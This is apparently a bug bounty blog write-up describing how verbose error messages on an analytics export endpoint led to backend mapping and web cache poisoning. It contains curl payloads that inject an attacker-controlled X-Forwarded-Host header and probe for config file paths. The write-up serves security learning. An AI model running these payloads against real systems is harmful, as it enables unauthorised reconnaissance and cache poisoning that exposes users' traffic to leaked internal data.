Hey there!😁

Life has a funny way of teaching lessons.

You touch a hot pan once — you remember it forever You ignore a weird noise in your bike — it breaks down at the worst time. And in bug bounty? If you ignore error messages, you miss money.

While everyone else was busy blasting the app with scanners like it was a festival sale, I was quietly reading what the application was complaining about.

Recon: Where Speed Loses and Patience Wins

This started like any normal hunting session.

Subdomains, endpoints, tools running in the background. Nothing fancy.

subfinder -d target.com | httpx -silent | tee alive.txt

Most hunters stop here and jump straight into parameter fuzzing. I used to do the same.

This time, I slowed down.

Instead of adding payloads, I started removing things. No headers. No auth. Wrong methods. Broken content-types.

That's when the app slipped.

The First Leak: When Errors Talk Too Much

One endpoint caught my eye:

GET /api/v3/analytics/export

No parameters. No token. Looked boring.

So I sent something intentionally wrong:

curl -X POST https://target.com/api/v3/analytics/export

Instead of a clean error page, I got this:

{
  "error": "TypeError: Cannot read property 'userId' of undefined",
  "file": "/var/www/app/controllers/ExportController.js",
  "line": 217,
  "env": "production"
}

That wasn't just an error.

That was the backend handing me its diary.

From a single response, I now knew:

  • Exact internal file paths
  • Backend language (Node.js)
  • Controller structure
  • Line numbers
  • Confirmation this was production

Low effort. Real impact.

Making Errors Worse (On Purpose)

If an app leaks once, it usually leaks more.

So I pushed it slightly harder:

curl -H "Content-Type: application/json" \
-d '{"date":"NOT_A_DATE"}' \
https://target.com/api/v3/analytics/export

The response grew:

SequelizeDatabaseError: invalid input syntax for type timestamp
at Query.formatError (/var/www/app/node_modules/sequelize/lib/dialects/postgres/query.js:366)
at ExportService.buildQuery (/var/www/app/services/export.js:88)

Now I had:

  • Database type (PostgreSQL)
  • ORM (Sequelize)
  • Service-layer file names
  • Query-building logic

At this point, I wasn't guessing anymore. I was mapping the backend using its own mistakes.

The Detail Everyone Missed: Cache Headers

While reading the response headers, something felt wrong:

Cache-Control: public, max-age=600
X-Cache: MISS

Why is an error cacheable?

That single question turned this from a low bug into a paid one.

Web Cache Poisoning (The Real Kind)

This endpoint was sitting behind a CDN.

It trusted forwarded headers more than it should have.

I tested header influence instead of parameters:

curl -H "X-Forwarded-Host: attacker.tld" \
https://target.com/api/v3/analytics/export

The error changed:

Failed to connect to https://attacker.tld/internal/export

That confirmed three things:

  • Host header influence
  • Backend request construction
  • No proper cache key isolation

Now it was exploitable.

None
Gif

The Poisoning Payload

I combined header injection with caching:

curl -H "X-Forwarded-Host: attacker.tld" \
-H "Cache-Control: public, max-age=600" \
https://target.com/api/v3/analytics/export

For the next 10 minutes, any user hitting this endpoint received:

  • Full stack traces
  • Internal paths
  • Backend service URLs
  • Debug-level error messages

Stored. Cached. Delivered by the CDN.

This wasn't just information disclosure. This was mass exposure.

Turning Errors into Sensitive Intelligence

Using leaked paths, I started testing file existence indirectly.

One error confirmed this path:

/var/www/app/config/production.json

Trigger:

curl -H "Accept: application/xml" https://target.com/api/v3/analytics/export

Response:

ENOENT: no such file or directory, open '/var/www/app/config/production.json'

That single line confirmed:

  • Config file naming
  • Deployment layout
  • Predictable environment structure

That's the kind of intel attackers chain — and companies pay to prevent.

Final Thought

Scanners are fast.

Error messages are honest.

Applications don't hide secrets — they panic and dump them on the screen.

So next time everyone is racing to fuzz parameters:

Slow down. Break logic. Read errors.

Because sometimes the app tells you exactly how to break it.

Connect with Me!

  • Instagram: @rev_shinchan
  • Gmail: rev30102001@gmail.com

#EnnamPolVazhlkai😇

#BugBounty, #CyberSecurity, #InfoSec, #Hacking, #WebSecurity, #CTF.